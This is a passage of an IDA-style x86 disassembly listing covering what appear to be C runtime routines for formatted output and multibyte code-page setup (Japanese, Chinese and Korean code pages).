loc_41F92D:				; CODE XREF: sub_41F69F+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_41FA11
		mov	[ebp+var_10], 6
		jmp	loc_41FA1F
; ---------------------------------------------------------------------------

loc_41F94E:				; CODE XREF: sub_41F69F+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41F95A
		or	byte ptr [ebp+var_4+1],	8

loc_41F95A:				; CODE XREF: sub_41F69F+2B5j
					; sub_41F69F+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41F9A1
		call	sub_41FE9B
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_423E5B
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_41F9B4
		mov	[ebp+var_28], 1
		jmp	short loc_41F9B4
; ---------------------------------------------------------------------------

loc_41F98B:				; CODE XREF: sub_41F69F+1FBj
		sub	eax, 5Ah
		jz	short loc_41F9C2
		sub	eax, 9
		jz	short loc_41F95A
		dec	eax
		jz	loc_41FB84
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------

loc_41F9A1:				; CODE XREF: sub_41F69F+2C5j
		call	sub_41FE7E
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1

loc_41F9B4:				; CODE XREF: sub_41F69F+2E1j
					; sub_41F69F+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------

loc_41F9C2:				; CODE XREF: sub_41F69F+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		jz	short loc_41FA03
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_41FA03
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_41F9F4
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------

loc_41F9F4:				; CODE XREF: sub_41F69F+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------

loc_41FA03:				; CODE XREF: sub_41F69F+32Fj
					; sub_41F69F+336j
		mov	eax, off_43C540
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_41FA9F
; ---------------------------------------------------------------------------

loc_41FA11:				; CODE XREF: sub_41F69F+29Dj
		jnz	short loc_41FA1F
		cmp	bl, 67h
		jnz	short loc_41FA1F
		mov	[ebp+var_10], 1

loc_41FA1F:				; CODE XREF: sub_41F69F+2AAj
					; sub_41F69F:loc_41FA11j ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_43C8D0
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_41FA71
		cmp	[ebp+var_10], 0
		jnz	short loc_41FA71
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43C8DC
		pop	ecx

loc_41FA71:				; CODE XREF: sub_41F69F+3BCj
					; sub_41F69F+3C2j
		cmp	bl, 67h
		jnz	short loc_41FA88
		test	esi, esi
		jnz	short loc_41FA88
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43C8D4
		pop	ecx

loc_41FA88:				; CODE XREF: sub_41F69F+3D5j
					; sub_41F69F+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_41FA9E
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi

loc_41FA9E:				; CODE XREF: sub_41F69F+3F0j
		push	edi

loc_41FA9F:				; CODE XREF: sub_41F69F+36Dj
		call	sub_41AFE0
		pop	ecx
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------

loc_41FAAA:				; CODE XREF: sub_41F69F+1E9j
		sub	eax, 69h
		jz	loc_41FB84
		sub	eax, 5
		jz	loc_41FB5A
		dec	eax
		jz	loc_41FB47
		dec	eax
		jz	short loc_41FB17
		sub	eax, 3
		jz	loc_41F8CC
		dec	eax
		dec	eax
		jz	loc_41FB88
		sub	eax, 3
		jnz	loc_41FCA9
		mov	[ebp+var_2C], 27h
		jmp	short loc_41FB25
; ---------------------------------------------------------------------------

loc_41FAE9:				; CODE XREF: sub_41F69F+270j
					; sub_41F69F+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------

loc_41FAF2:				; CODE XREF: sub_41F69F+24Fj
		test	ecx, ecx
		jnz	short loc_41FAFF
		mov	ecx, off_43C540
		mov	[ebp+var_8], ecx

loc_41FAFF:				; CODE XREF: sub_41F69F+455j
		mov	eax, ecx

loc_41FB01:				; CODE XREF: sub_41F69F+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_41FB10
		cmp	byte ptr [eax],	0
		jz	short loc_41FB10
		inc	eax
		jmp	short loc_41FB01
; ---------------------------------------------------------------------------

loc_41FB10:				; CODE XREF: sub_41F69F+467j
					; sub_41F69F+46Cj
		sub	eax, ecx
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------

loc_41FB17:				; CODE XREF: sub_41F69F+425j
		mov	[ebp+var_10], 8

loc_41FB1E:				; CODE XREF: sub_41F69F+201j
		mov	[ebp+var_2C], 7

loc_41FB25:				; CODE XREF: sub_41F69F+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_41FB8F
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_41FB8F
; ---------------------------------------------------------------------------

loc_41FB47:				; CODE XREF: sub_41F69F+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_41FB8F
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_41FB8F
; ---------------------------------------------------------------------------

loc_41FB5A:				; CODE XREF: sub_41F69F+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_41FB73
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_41FB78
; ---------------------------------------------------------------------------

loc_41FB73:				; CODE XREF: sub_41F69F+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx

loc_41FB78:				; CODE XREF: sub_41F69F+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41FB84:				; CODE XREF: sub_41F69F+2F7j
					; sub_41F69F+40Ej
		or	[ebp+var_4], 40h

loc_41FB88:				; CODE XREF: sub_41F69F+432j
		mov	[ebp+var_C], 0Ah

loc_41FB8F:				; CODE XREF: sub_41F69F+491j
					; sub_41F69F+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_41FBA1
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE8B
		pop	ecx
		jmp	short loc_41FBE2
; ---------------------------------------------------------------------------

loc_41FBA1:				; CODE XREF: sub_41F69F+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_41FBC8
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41FBBD
		call	sub_41FE7E
		pop	ecx
		movsx	eax, ax

loc_41FBBA:				; CODE XREF: sub_41F69F+527j
					; sub_41F69F+539j
		cdq
		jmp	short loc_41FBE2
; ---------------------------------------------------------------------------

loc_41FBBD:				; CODE XREF: sub_41F69F+510j
		call	sub_41FE7E
		pop	ecx
		movzx	eax, ax
		jmp	short loc_41FBBA
; ---------------------------------------------------------------------------

loc_41FBC8:				; CODE XREF: sub_41F69F+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41FBDA
		call	sub_41FE7E
		pop	ecx
		jmp	short loc_41FBBA
; ---------------------------------------------------------------------------

loc_41FBDA:				; CODE XREF: sub_41F69F+531j
		call	sub_41FE7E
		pop	ecx
		xor	edx, edx

loc_41FBE2:				; CODE XREF: sub_41F69F+500j
					; sub_41F69F+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_41FC03
		test	edx, edx
		jg	short loc_41FC03
		jl	short loc_41FBF2
		test	eax, eax
		jnb	short loc_41FC03

loc_41FBF2:				; CODE XREF: sub_41F69F+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_41FC07
; ---------------------------------------------------------------------------

loc_41FC03:				; CODE XREF: sub_41F69F+547j
					; sub_41F69F+54Bj ...
		mov	esi, eax
		mov	edi, edx

loc_41FC07:				; CODE XREF: sub_41F69F+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_41FC10
		and	edi, 0

loc_41FC10:				; CODE XREF: sub_41F69F+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_41FC1F
		mov	[ebp+var_10], 1
		jmp	short loc_41FC23
; ---------------------------------------------------------------------------

loc_41FC1F:				; CODE XREF: sub_41F69F+575j
		and	[ebp+var_4], 0FFFFFFF7h

loc_41FC23:				; CODE XREF: sub_41F69F+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_41FC2D
		and	[ebp+var_1C], 0

loc_41FC2D:				; CODE XREF: sub_41F69F+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax

loc_41FC33:				; CODE XREF: sub_41F69F+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_41FC43
		mov	eax, esi
		or	eax, edi
		jz	short loc_41FC7E

loc_41FC43:				; CODE XREF: sub_41F69F+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_41D480
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_41D410
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_41FC74
		add	ebx, [ebp+var_2C]

loc_41FC74:				; CODE XREF: sub_41F69F+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_41FC33
; ---------------------------------------------------------------------------

loc_41FC7E:				; CODE XREF: sub_41F69F+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_41FCA9
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_41FC9C
		test	eax, eax
		jnz	short loc_41FCA9

loc_41FC9C:				; CODE XREF: sub_41F69F+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h

loc_41FCA6:				; CODE XREF: sub_41F69F+35Fj
					; sub_41F69F+406j ...
		mov	[ebp+var_C], eax

loc_41FCA9:				; CODE XREF: sub_41F69F+21Bj
					; sub_41F69F+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_41FDA7	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_41FCE1
		test	bh, 1
		jz	short loc_41FCC6
		mov	[ebp+var_16], 2Dh
		jmp	short loc_41FCDA
; ---------------------------------------------------------------------------

loc_41FCC6:				; CODE XREF: sub_41F69F+61Fj
		test	bl, 1
		jz	short loc_41FCD1
		mov	[ebp+var_16], 2Bh
		jmp	short loc_41FCDA
; ---------------------------------------------------------------------------

loc_41FCD1:				; CODE XREF: sub_41F69F+62Aj
		test	bl, 2
		jz	short loc_41FCE1
		mov	[ebp+var_16], 20h

loc_41FCDA:				; CODE XREF: sub_41F69F+625j
					; sub_41F69F+630j
		mov	[ebp+var_1C], 1

loc_41FCE1:				; CODE XREF: sub_41F69F+61Aj
					; sub_41F69F+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_41FD01
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41FE15
		add	esp, 10h

loc_41FD01:				; CODE XREF: sub_41F69F+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_41FE46
		add	esp, 10h
		test	bl, 8
		jz	short loc_41FD33
		test	bl, 4
		jnz	short loc_41FD33
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_41FE15
		add	esp, 10h

loc_41FD33:				; CODE XREF: sub_41F69F+67Bj
					; sub_41F69F+680j
		cmp	[ebp+var_24], 0
		jz	short loc_41FD7A
		cmp	[ebp+var_C], 0
		jle	short loc_41FD7A
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]

loc_41FD48:				; CODE XREF: sub_41F69F+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_423E5B
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41FD8F
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_41FE46
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_41FD48
		jmp	short loc_41FD8F
; ---------------------------------------------------------------------------

loc_41FD7A:				; CODE XREF: sub_41F69F+698j
					; sub_41F69F+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_41FE46
		add	esp, 10h

loc_41FD8F:				; CODE XREF: sub_41F69F+6BCj
					; sub_41F69F+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_41FDA7 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41FE15
		add	esp, 10h

loc_41FDA7:				; CODE XREF: sub_41F69F+68j
					; sub_41F69F+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_41F6CB

loc_41FDB8:				; CODE XREF: sub_41F69F+1Fj
					; sub_41F69F+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F69F	endp

; ---------------------------------------------------------------------------
off_41FDC0	dd offset loc_41F83E	; DATA XREF: sub_41F69F+6Er
		dd offset loc_41F714	; jump table for switch	statement
		dd offset loc_41F72F
		dd offset loc_41F77B
		dd offset loc_41F7B2
		dd offset loc_41F7BA
		dd offset loc_41F7EF
		dd offset loc_41F882

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FDE0	proc near		; CODE XREF: sub_41F69F+1BDp
					; sub_41F69F+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_41FDF9
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_41FE04
; ---------------------------------------------------------------------------

loc_41FDF9:				; CODE XREF: sub_41FDE0+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_41F58A
		pop	ecx
		pop	ecx

loc_41FE04:				; CODE XREF: sub_41FDE0+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_41FE11
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41FE11:				; CODE XREF: sub_41FDE0+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41FDE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE15	proc near		; CODE XREF: sub_41F69F+65Ap
					; sub_41F69F+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_41FE43
		mov	esi, [esp+8+arg_C]

loc_41FE26:				; CODE XREF: sub_41FE15+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_41FDE0
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_41FE43
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_41FE26

loc_41FE43:				; CODE XREF: sub_41FE15+Bj
					; sub_41FE15+25j
		pop	edi
		pop	esi
		retn
sub_41FE15	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE46	proc near		; CODE XREF: sub_41F69F+670p
					; sub_41F69F+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_41FE7A
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]

loc_41FE5C:				; CODE XREF: sub_41FE46+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_41FDE0
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_41FE7A
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_41FE5C

loc_41FE7A:				; CODE XREF: sub_41FE46+Cj
					; sub_41FE46+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41FE46	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE7E	proc near		; CODE XREF: sub_41F69F+E5p
					; sub_41F69F+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_41FE7E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE8B	proc near		; CODE XREF: sub_41F69F+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_41FE8B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE9B	proc near		; CODE XREF: sub_41F69F+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_41FE9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FEA9	proc near		; CODE XREF: sub_42026D+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420042
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_4DC704
		mov	[ebp+arg_0], esi
		jz	loc_420036
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_42002C
		xor	edx, edx
		mov	eax, offset dword_43C550

loc_41FEDD:				; CODE XREF: sub_41FEA9+41j
		cmp	[eax], esi
		jz	short loc_41FF53
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_43C640
		jl	short loc_41FEDD
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		nop
		call	near ptr 28C0000h
		cmp	eax, 1
		jnz	loc_420024
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DC820
		cmp	[ebp+var_18], 1
		mov	dword_4DC704, esi
		rep stosd
		stosb
		mov	dword_4DC924, ebx
		jbe	loc_420012
		cmp	[ebp+var_12], 0
		jz	loc_41FFE8
		lea	ecx, [ebp+var_11]

loc_41FF30:				; CODE XREF: sub_41FEA9+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_41FFE8
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl

loc_41FF41:				; CODE XREF: sub_41FEA9+A8j
		cmp	eax, edx
		ja	loc_41FFDC
		or	byte_4DC821[eax], 4
		inc	eax
		jmp	short loc_41FF41
; ---------------------------------------------------------------------------

loc_41FF53:				; CODE XREF: sub_41FEA9+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DC820
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_43C560[esi]

loc_41FF6F:				; CODE XREF: sub_41FEA9+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_41FFA2

loc_41FF76:				; CODE XREF: sub_41FEA9+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_41FFA2
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_41FF9B
		mov	edx, [ebp+var_4]
		mov	dl, byte_43C548[edx]

loc_41FF90:				; CODE XREF: sub_41FEA9+F0j
		or	byte_4DC821[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_41FF90

loc_41FF9B:				; CODE XREF: sub_41FEA9+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_41FF76

loc_41FFA2:				; CODE XREF: sub_41FEA9+CBj
					; sub_41FEA9+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_41FF6F
		mov	eax, [ebp+arg_0]
		mov	dword_4DC71C, 1
		push	eax
		mov	dword_4DC704, eax
		call	sub_42008C
		lea	esi, dword_43C554[esi]
		mov	edi, offset dword_4DC710
		movsd
		movsd
		pop	ecx
		mov	dword_4DC924, eax
		movsd
		jmp	short loc_420031
; ---------------------------------------------------------------------------

loc_41FFDC:				; CODE XREF: sub_41FEA9+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_41FF30

loc_41FFE8:				; CODE XREF: sub_41FEA9+7Ej
					; sub_41FEA9+8Bj
		push	1
		pop	eax

loc_41FFEB:				; CODE XREF: sub_41FEA9+14Fj
		or	byte_4DC821[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_41FFEB
		push	esi
		call	sub_42008C
		pop	ecx
		mov	dword_4DC924, eax
		mov	dword_4DC71C, 1
		jmp	short loc_420018
; ---------------------------------------------------------------------------

loc_420012:				; CODE XREF: sub_41FEA9+74j
		mov	dword_4DC71C, ebx

loc_420018:				; CODE XREF: sub_41FEA9+167j
		xor	eax, eax
		mov	edi, offset dword_4DC710
		stosd
		stosd
		stosd
		jmp	short loc_420031
; ---------------------------------------------------------------------------

loc_420024:				; CODE XREF: sub_41FEA9+51j
		cmp	dword_4DB330, ebx
		jz	short loc_42003A

loc_42002C:				; CODE XREF: sub_41FEA9+27j
		call	sub_4200BF

loc_420031:				; CODE XREF: sub_41FEA9+131j
					; sub_41FEA9+179j
		call	sub_4200E8

loc_420036:				; CODE XREF: sub_41FEA9+1Dj
		xor	eax, eax
		jmp	short loc_42003D
; ---------------------------------------------------------------------------

loc_42003A:				; CODE XREF: sub_41FEA9+181j
		or	eax, 0FFFFFFFFh

loc_42003D:				; CODE XREF: sub_41FEA9+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FEA9	endp


; =============== S U B	R O U T	I N E =======================================



sub_420042	proc near		; CODE XREF: sub_41FEA9+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_4DB330, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_420062
		mov	dword_4DB330, 1
		nop
		jmp	near ptr 26708D9h
; ---------------------------------------------------------------------------

loc_420062:				; CODE XREF: sub_420042+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_420077
		mov	dword_4DB330, 1
		jmp	near ptr 28C0693h
; ---------------------------------------------------------------------------
		db 1Bh
; ---------------------------------------------------------------------------

loc_420077:				; CODE XREF: sub_420042+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_42008B
		mov	eax, dword_4DB374
		mov	dword_4DB330, 1

locret_42008B:				; CODE XREF: sub_420042+38j
		retn
sub_420042	endp


; =============== S U B	R O U T	I N E =======================================



sub_42008C	proc near		; CODE XREF: sub_41FEA9+118p
					; sub_41FEA9+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_4200B9
		sub	eax, 4
		jz	short loc_4200B3
		sub	eax, 0Dh
		jz	short loc_4200AD
		dec	eax
		jz	short loc_4200A7
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_4200A7:				; CODE XREF: sub_42008C+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------

loc_4200AD:				; CODE XREF: sub_42008C+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------

loc_4200B3:				; CODE XREF: sub_42008C+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------

loc_4200B9:				; CODE XREF: sub_42008C+9j
		mov	eax, 411h
		retn
sub_42008C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4200BF	proc near		; CODE XREF: sub_41FEA9:loc_42002Cp
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_4DC820
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_4DC710
		mov	dword_4DC704, eax
		mov	dword_4DC71C, eax
		mov	dword_4DC924, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_4200BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4200E8	proc near		; CODE XREF: sub_41FEA9:loc_420031p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_4DC704
		nop
		call	near ptr 28C0000h
		cmp	eax, 1
		jnz	loc_420221
		xor	eax, eax
		mov	esi, 100h

loc_420112:				; CODE XREF: sub_4200E8+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_420112
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_420163
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]

loc_420131:				; CODE XREF: sub_4200E8+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_420158
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb

loc_420158:				; CODE XREF: sub_4200E8+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_420131
		pop	edi
		pop	ebx

loc_420163:				; CODE XREF: sub_4200E8+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_4DC924
		push	dword_4DC704
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_423CEC
		push	0
		lea	eax, [ebp+var_214]
		push	dword_4DC704
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_4DC924
		call	sub_422ACA
		push	0
		lea	eax, [ebp+var_314]
		push	dword_4DC704
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_4DC924
		call	sub_422ACA
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]

loc_4201DE:				; CODE XREF: sub_4200E8+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_4201FC
		or	byte_4DC821[eax], 10h
		mov	dl, [ebp+eax+var_214]

loc_4201F4:				; CODE XREF: sub_4200E8+127j
		mov	byte_4DC720[eax], dl
		jmp	short loc_420218
; ---------------------------------------------------------------------------

loc_4201FC:				; CODE XREF: sub_4200E8+FCj
		test	dl, 2
		jz	short loc_420211
		or	byte_4DC821[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_4201F4
; ---------------------------------------------------------------------------

loc_420211:				; CODE XREF: sub_4200E8+117j
		and	byte_4DC720[eax], 0

loc_420218:				; CODE XREF: sub_4200E8+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_4201DE
		jmp	short loc_42026A
